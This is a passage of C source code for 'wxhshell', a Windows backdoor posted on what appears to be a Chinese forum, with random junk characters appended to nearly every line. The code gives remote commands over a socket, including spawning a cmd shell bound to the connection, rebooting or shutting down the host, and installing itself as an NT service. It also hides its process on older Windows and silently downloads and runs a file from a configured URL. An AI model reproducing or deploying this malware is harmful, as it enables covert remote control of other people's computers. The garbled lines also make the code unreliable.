  // 帮助 [Mv'*.7  
  case '?': { j zZEP4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >DzW  OB  
    break; '^2bC  
  } "Vwk&~B%  
  // 安装 $B%3#-  
  case 'i': { AX )dZdd  
    if(Install()) BBl9<ne$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fj <a;oV  
    else x:]_z.5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k>\s6  
    break; 6?0QzSpfC#  
    } cI <T/~P  
  // 卸载 /9-kG  
  case 'r': { DPl&e-`  
    if(Uninstall()) _]+ \ B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *zX^Sg-[  
    else s8r[U, }(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }\ya6Gi8  
    break; N&Uqzt*  
    } 5VLC\QgK^  
  // 显示 wxhshell 所在路径 6:G ::"ew  
  case 'p': { IU]@%jA_:A  
    char svExeFile[MAX_PATH]; eGbjk~,f'  
    strcpy(svExeFile,"\n\r"); pr1>:0dg  
      strcat(svExeFile,ExeFile); 7 /DDQ  
        send(wsh,svExeFile,strlen(svExeFile),0); >?$qKu  
    break; {r?Ly15  
    } M_;hfpJZ  
  // 重启 N#X(gEV  
  case 'b': { >>h0(G|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XO/JnJ^B  
    if(Boot(REBOOT)) gvxOo#8]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S%Z2J)H"  
    else { z }P1+Pm  
    closesocket(wsh); `u;4Z2Lr0  
    ExitThread(0); dJmr!bN\;  
    } Z&J.8A]L  
    break; 8d>>r69$pa  
    } x.U:v20`  
  // 关机 E. Arq6  
  case 'd': { F8*P/<P1cK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qI1J M =  
    if(Boot(SHUTDOWN)) lXrAsm$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sYyya:ykxT  
    else { +~EFRiP]  
    closesocket(wsh); E&b!Y'  
    ExitThread(0); io4/M<6<  
    } {F*81q\  
    break; Q$^Kf]pD  
    } fq[,9lK  
  // 获取shell 9m2Yrj93  
  case 's': { )^Md ^\?  
    CmdShell(wsh); /2]=.bLwz  
    closesocket(wsh); :x_;-  
    ExitThread(0); 4VlQN$  
    break; PZCOJK  
  } 77zDHq=  
  // 退出 )Yw m_f-N  
  case 'x': { .RWKZB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |z.Z='`  
    CloseIt(wsh); OQby=}A  
    break; zVtNT@1K>u  
    } tc)4$"9)  
  // 离开 VrZ6m  
  case 'q': { ?C|b>wM/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )Hlc\Mgy  
    closesocket(wsh); X&bnyo P  
    WSACleanup(); N51RBA  
    exit(1); 3 *[YM7y  
    break; 7D)i]68E  
        } mMtX:  
  } Bez 7  
  } ~HyqHx y  
J~1 =?</  
  // 提示信息 aEC&#Q(]q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L[p[m~HjG^  
} Eza B}BLQ9  
  } ^/v!hq_#%&  
;,jms~ik  
  return; $@4(Lq1.  
} uSn<]OrZo`  
<S`N9a  
// shell模块句柄 $_0~Jzt,  
int CmdShell(SOCKET sock) ]$ iqJL  
{ gye'_AR?k  
STARTUPINFO si; \y0uGnmCj  
ZeroMemory(&si,sizeof(si)); c27\S?\ Jd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AU/L_hg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F\hU V[  
PROCESS_INFORMATION ProcessInfo; b:>t1S Ul  
char cmdline[]="cmd"; FaE,rzn)iD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LuUfdzH  
  return 0; KZt4 dr  
} xO` O$ie  
Oxhc!9F  
// 自身启动模式 dQH9NsV7g  
int StartFromService(void) P[bj {lo  
{ *^ -~J/  
typedef struct >ay% !X@3"  
{ *we*IhIP  
  DWORD ExitStatus; M?zwXmTVW0  
  DWORD PebBaseAddress; ]W>kbH Imz  
  DWORD AffinityMask; 9 54O=9PQ  
  DWORD BasePriority; )M(-EDL>Qk  
  ULONG UniqueProcessId; 2K&5Kt/  
  ULONG InheritedFromUniqueProcessId; SLMnEtyTS  
}   PROCESS_BASIC_INFORMATION; Hwm] l`E]  
mtg3}etA  
PROCNTQSIP NtQueryInformationProcess; >YW_}kd  
`p)$7!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G^=C#9c.m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q+/7v9  
982n G-"  
  HANDLE             hProcess; a jyuk@  
  PROCESS_BASIC_INFORMATION pbi; TbPTgE *  
tHV81F1J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NU?05sF  
  if(NULL == hInst ) return 0; 12MWO_'g8  
} :8{z`4H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vpl> 5%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3BWYSJ|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UL   
xsIuPL#_  
  if (!NtQueryInformationProcess) return 0; XAf,k&f3  
uzpW0(_i3a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QCvz|)  
  if(!hProcess) return 0; )cd5iE:FO  
JVgV,4 1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BYBf`F)4  
Q-M"+HO  
  CloseHandle(hProcess); +:&,Ts/  
.G|9:b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =u#xPI0:  
if(hProcess==NULL) return 0;  wN4N 2  
XFU['BI  
HMODULE hMod;  "0( _  
char procName[255]; 20XN5dTFT  
unsigned long cbNeeded; Z_qOQ%l  
}b5If7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OLS.0UEc  
-l# h^  
  CloseHandle(hProcess); a J&)-ge  
3Bk_4n  
if(strstr(procName,"services")) return 1; // 以服务启动 FV->226o%  
#nOS7Q#uW  
  return 0; // 注册表启动 sF`ELrR \  
} &n)=OConge  
bdUe,2Yin  
// 主模块 $ 3/G)/A  
int StartWxhshell(LPSTR lpCmdLine) Vo2{aK;  
{ 3RyB 0 n  
  SOCKET wsl;  A/zZ%h  
BOOL val=TRUE; Rt^~db  
  int port=0; yRt>7'@X  
  struct sockaddr_in door; e0ea2 2  
7"c^$fj  
  if(wscfg.ws_autoins) Install(); N @24)g?  
z[q#Dw  
port=atoi(lpCmdLine); O-D${==  
YA vOV-L  
if(port<=0) port=wscfg.ws_port; gLyE,1Z}u  
18xT2f  
  WSADATA data; lS.&>{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -N3fhW#)  
G(~ s(r{%I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L93&.d@m9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MvLmEmKb}\  
  door.sin_family = AF_INET; 6pHn%yE*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~RRp5x _  
  door.sin_port = htons(port); ca},tov&  
Vk>m/"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XDWR ]  
closesocket(wsl); fi6i{(K  
return 1; O_u2V'jy9  
} FXi"o $N  
B7 ^*xskH  
  if(listen(wsl,2) == INVALID_SOCKET) { -J$,W`#z  
closesocket(wsl); ~x:B@Ow  
return 1; CE'd`_;HLn  
} >8*J ;(:W  
  Wxhshell(wsl); A+:X  
  WSACleanup(); !X5~!b^*  
X{j`H\'L  
return 0; Gidh7x  
m1mA:R\zM  
} 7vRFF@eq}  
t3dvHU&Z:  
// 以NT服务方式启动 !G0OD$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Sas &P:# r  
{ $i^#KZ}-WK  
DWORD   status = 0; 2th>+M~A  
  DWORD   specificError = 0xfffffff; M :4N'#`  
dZ1/w0<M2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rX-V0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0pYCh$TL1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7NY9UQ  
  serviceStatus.dwWin32ExitCode     = 0; _|!FhZ  
  serviceStatus.dwServiceSpecificExitCode = 0; jgfl|;I?pg  
  serviceStatus.dwCheckPoint       = 0; w*E0f?s  
  serviceStatus.dwWaitHint       = 0; Q>,EYb>wI  
nsRZy0@$t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ws tH&^  
  if (hServiceStatusHandle==0) return; O$2= Z  
]CFh0N|(L  
status = GetLastError(); nbVlP  
  if (status!=NO_ERROR) b xU13ESv  
{ PW[NW-S`c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `H_.<``>  
    serviceStatus.dwCheckPoint       = 0; P2q'P&  
    serviceStatus.dwWaitHint       = 0; `pHlGbrW  
    serviceStatus.dwWin32ExitCode     = status; nMniHB'  
    serviceStatus.dwServiceSpecificExitCode = specificError; uEK9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eq|G\XJ  
    return; }3"FQ/6C  
  }  o IUjd  
bR6g^Yf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -27uh  
  serviceStatus.dwCheckPoint       = 0; Dd(#   
  serviceStatus.dwWaitHint       = 0; B_^ ~5_0:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %(c5T)B9  
} @bc=O1vX~;  
]7*Z'E  
// 处理NT服务事件,比如:启动、停止 lO Rym:P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^sWsP`DV  
{ 9q ##)  
switch(fdwControl) !zd]6YL$  
{ {iyO96YI[^  
case SERVICE_CONTROL_STOP: M=mzl750M  
  serviceStatus.dwWin32ExitCode = 0; &m>yY{ be  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TTJFF\$?  
  serviceStatus.dwCheckPoint   = 0; F)W7,^=X>-  
  serviceStatus.dwWaitHint     = 0; VUo7Evc:.P  
  { _o 2pyV&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kiW|h)w_,v  
  } ]/o0p  
  return; MQ9Nn|4  
case SERVICE_CONTROL_PAUSE: (Hr_gkGtM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Mn- f  
  break; =`8%qh  
case SERVICE_CONTROL_CONTINUE: Z# +{ksU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lHV&8fny  
  break; QWo_Zg0"  
case SERVICE_CONTROL_INTERROGATE: | JmEI9n2  
  break; aaN|g{pX  
}; w4:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tn$/9<Q  
} 1@ e22\  
ux[h\Tp  
// 标准应用程序主函数 rNdeD~\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0I8w'/s_g9  
{ pwiXA{  
=Me94w>G3X  
// 获取操作系统版本 rRTAWAs%T  
OsIsNt=GetOsVer(); 8y<NT"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0>  
\m>mE/N  
  // 从命令行安装 QbF!V%+a's  
  if(strpbrk(lpCmdLine,"iI")) Install(); SMMV$;O{9  
DNP %]{J  
  // 下载执行文件 |C\%H R  
if(wscfg.ws_downexe) { *u2pk>y)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v4?qI >/  
  WinExec(wscfg.ws_filenam,SW_HIDE); "kLu]M<  
} '|zkRdB*Lq  
's.cwB: #  
if(!OsIsNt) { 7X Z5CX&  
// 如果时win9x,隐藏进程并且设置为注册表启动 $\W|{u`  
HideProc();  #E[{  
StartWxhshell(lpCmdLine); 6D[m}/?Uy  
} u afSz@`  
else ICJp-  
  if(StartFromService()) Ez3>}E,  
  // 以服务方式启动 M^i^_}~S;  
  StartServiceCtrlDispatcher(DispatchTable); h";0i:  
else %0>DjzYt  
  // 普通方式启动 .|[5*-  
  StartWxhshell(lpCmdLine); e|`QW|9 .  
&\3k(j  
return 0; x*8lz\w  
}
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只看该作者 1 发表于: 2006-10-10
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